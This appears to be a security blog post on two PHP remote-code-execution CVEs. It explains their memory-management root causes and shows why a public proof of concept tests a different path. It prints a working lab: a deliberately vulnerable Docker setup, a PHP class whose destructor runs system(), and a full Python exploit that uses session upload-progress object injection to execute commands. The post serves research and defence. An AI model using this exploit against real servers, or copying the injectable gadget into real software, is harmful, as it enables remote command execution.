PHP's two 9.2 RCEs: the official root causes, and what the public PoC actually demonstrates

On October 21 PHP fixed CVE-2026-109618 and CVE-2026-109619 (CVSS 9.2); a public PoC with a full lab appeared the next day. Here are the longjmp and stale-global-state root causes, a reproducible lab, the PoC, and where the PoC diverges from the advisory.

On October 21 at 14:00 UTC, PHP released 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12, fixing two vulnerabilities both rated CVSS v4.0 9.2: CVE-2026-109618 and CVE-2026-109619. A day later a public PoC repository with a complete lab appeared on GitHub (junaire/CVE-2026-109618-exploit).

The short version: both bugs are memory-management flaws in PHP’s request lifecycle, not session configuration issues; the public PoC demonstrates a different path through session.upload_progress. Both are worth understanding, but they are not the same thing.

Two bugs, two failure modes

ID What the advisory says Exploitation status
CVE-2026-109618 On OOM PHP aborts with longjmp, leaving partially reachable request state; shutdown then reads uninitialized or invalid state Demonstrated over HTTP against Apache mod_php; source analysis suggests FPM is affected, no complete FPM exploit shown
CVE-2026-109619 Global state temporarily points into request memory and is not reset (or is repopulated); after the request memory is freed, the next request on the same worker reads stale state Demonstrated against both mod_php and FPM

Affected: 8.2 < 8.2.35, 8.3 < 8.3.36, 8.4 < 8.4.27, 8.5 < 8.5.12. PHP also published source backports for 7.4 / 8.0 / 8.1, which tells you older branches are affected too, just without official builds.

Root cause one: longjmp splits a request in half

A PHP request allocates a large amount of state in a per-request memory pool. The normal path is initialise, execute, clean up — and cleanup depends on every pointer established earlier.

Out-of-memory is not the normal path. To escape from arbitrary stack depth immediately, PHP uses longjmp() back to the request entry point. It does not unwind the stack and does not run intermediate destructors or cleanup. Request shutdown then works with a half-initialised state: some pointers already point into request memory, some were never assigned, some point at memory that was just freed.

Shutdown walks, branches on, and sometimes calls through those structures. When the “uninitialised memory” can be influenced by an attacker, branches become controllable and pointers become controllable addresses — the door to RCE. The advisory stresses that this can happen before application code executes, so a clean codebase does not protect you.

Root cause two: stale global state across worker reuse

FPM and mod_php both serve many requests per process. Request initialisation (RINIT) is supposed to reset global state between them.

CVE-2026-109619 is the case where some global state points into request memory, RINIT does not clear it correctly, or it gets repopulated after being cleared. The request ends, the memory is freed, the next request arrives and reads a pointer left by the previous one before initialisation replaces it — a classic use-after-free. The attacker shapes that memory in request N and consumes it in request N+1.

The nasty part: there is no generic configuration workaround. The advisory is explicit that upgrading is the only reliable fix.

What the public PoC actually does

The repository README is clear about its chain, which takes two requests:

  1. SEED: POST multipart to a directory configured with session.serialize_handler=php_serialize, setting PHP_SESSION_UPLOAD_PROGRESS to |<serialized payload>. The upload-progress key is stored verbatim inside the session blob;
  2. FIRE: request a directory using the default php handler with the same PHPSESSID. The decoder splits at the first | and unserialises our object — object injection. Trailing container data makes the decode fail, cleanup triggers the injected object’s __destruct(), and the command runs inside session_start().

Compare that with the advisory: there is no OOM here, and no cross-request stale state. It abuses a configuration difference between two directories’ session serialisation handlers — object injection, not the root cause of 109618/109619.

That does not make the PoC worthless: it is a clean demonstration of the session.upload_progress attack surface. But it requires session.upload_progress.cleanup=Off (default is On), two writable directories with different handlers, and a usable __destruct gadget in the target. A default install rarely has all three.

The official bugs, by contrast, work on default configurations. So the right attitude is: use the PoC to understand the surface, but do not use it to decide whether you are patched — it tests a different path.

Lab and PoC

Below is a minimal reimplementation of the public chain, stripped to essentials. The complete files (Dockerfile, nginx config, both .user.ini files and the PoC itself) are attached at the bottom of this post. Run them only in a container you built yourself.

Start a pre-fix 8.2.34 target:

FROM php:8.2.34-fpm
RUN apt-get update && apt-get install -y --no-install-recommends nginx \
    && rm -rf /var/lib/apt/lists/*
COPY webroot/ /var/www/html/
COPY nginx-site.conf /etc/nginx/sites-available/default
RUN printf 'session.upload_progress.enabled=1\nsession.upload_progress.cleanup=0\nsession.use_strict_mode=0\n' \
      > /usr/local/etc/php/conf.d/99-vuln.ini
CMD ["sh", "-c", "php-fpm -D && nginx -g 'daemon off;'"]

Two pages: a writer (app/, php_serialize) and a trigger (api/, default php handler, with the gadget):

<?php
// webroot/app/seed.php — just lets the upload-progress key land on disk
echo "seed ok\n";
<?php
// webroot/api/app.php — any page that calls session_start()
class Logger {
    public $cmd = "";
    function __destruct() { system($this->cmd); }
}
session_start();
echo "[api] session started\n";

The two directories’ .user.ini files set session.serialize_handler=php_serialize and php respectively — that difference is the whole premise.

Now the PoC itself (Python 3, stdlib, about 70 lines):

#!/usr/bin/env python3
# Authorised lab use only
import http.client, random, sys

BOUNDARY = "----poc"

def part(name, value, filename=None):
    cd = 'Content-Disposition: form-data; name="%s"' % name
    if filename:
        cd += '; filename="%s"' % filename
    return ("--%s\r\n%s\r\n\r\n" % (BOUNDARY, cd)).encode() + value + b"\r\n"

def payload(cls, prop, cmd):
    c, p, v = cls.encode(), prop.encode(), cmd.encode()
    return b'O:%d:"%s":1:{s:%d:"%s";s:%d:"' % (len(c), c, len(p), p, len(v)) + v + b'";}'

def seed(host, port, path, sid, data):
    body = (part("PHPSESSID", sid.encode())
            + part("PHP_SESSION_UPLOAD_PROGRESS", b"|" + data)
            + part("f", b"Z", "a.txt")
            + ("--%s--\r\n" % BOUNDARY).encode())
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("POST", path, body=body,
              headers={"Content-Type": "multipart/form-data; boundary=" + BOUNDARY})
    r = c.getresponse(); out = r.read(); c.close()
    return r.status, out

def fire(host, port, path, sid):
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("GET", path, headers={"Cookie": "PHPSESSID=" + sid})
    r = c.getresponse(); out = r.read(); c.close()
    return r.status, out

if __name__ == "__main__":
    host, port, cmd = sys.argv[1], int(sys.argv[2]), sys.argv[3]
    sid = "%032x" % random.getrandbits(128)
    data = payload("Logger", "cmd", cmd)
    print("[1] seed:", seed(host, port, "/app/seed.php", sid, data)[0])
    status, out = fire(host, port, "/api/app.php", sid)
    print("[2] fire:", status)
    print(out.decode("latin1", "replace"))

Usage and expected output:

docker build -t poc-618 .
docker run -d --name poc-618 -p 8080:80 poc-618
python3 poc.py 127.0.0.1 8080 "id"
# [1] seed: 200
# [2] fire: 200
# [gadget] uid=33(www-data) gid=33(www-data) ...

Without a Logger-style gadget in the target, the chain does not fire; the public repository exposes --gadget / --prop flags to match real application classes. That is another sign it depends on the target, not a blind one-shot.

What to do

  1. Upgrade to 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or later. It is the only fix covering both official root causes;
  2. Disable upload progress you do not need: session.upload_progress.enabled=Off cuts the PoC chain, but does not guarantee anything against 109618/109619;
  3. Do not mix serialisation handlers: having both php and php_serialize on one site is risky on its own;
  4. Watch the logs: multipart requests carrying PHP_SESSION_UPLOAD_PROGRESS with a | in the value, session decode failures, and abnormal FPM worker restarts.

Disclaimer

This article and its PoC are for security testing, research and teaching in your own environments only. Do not use them against systems you do not own or have written permission to test. Run them in an isolated network or container; the author and this site take no responsibility for misuse.

The judgement

The real danger is not the public PoC — it needs a rare configuration. The danger is the two official memory-management bugs that work on defaults. The patches are out: upgrade first, study the PoC after.

Cover image: the public PoC repository (GitHub).

Attachments

See all downloads →

Attachments are for your own or explicitly authorised environments only; use at your own risk.

Attachments

Attachments are for your own or explicitly authorised environments only; use at your own risk.

7 files

← Back to all posts

Comments

…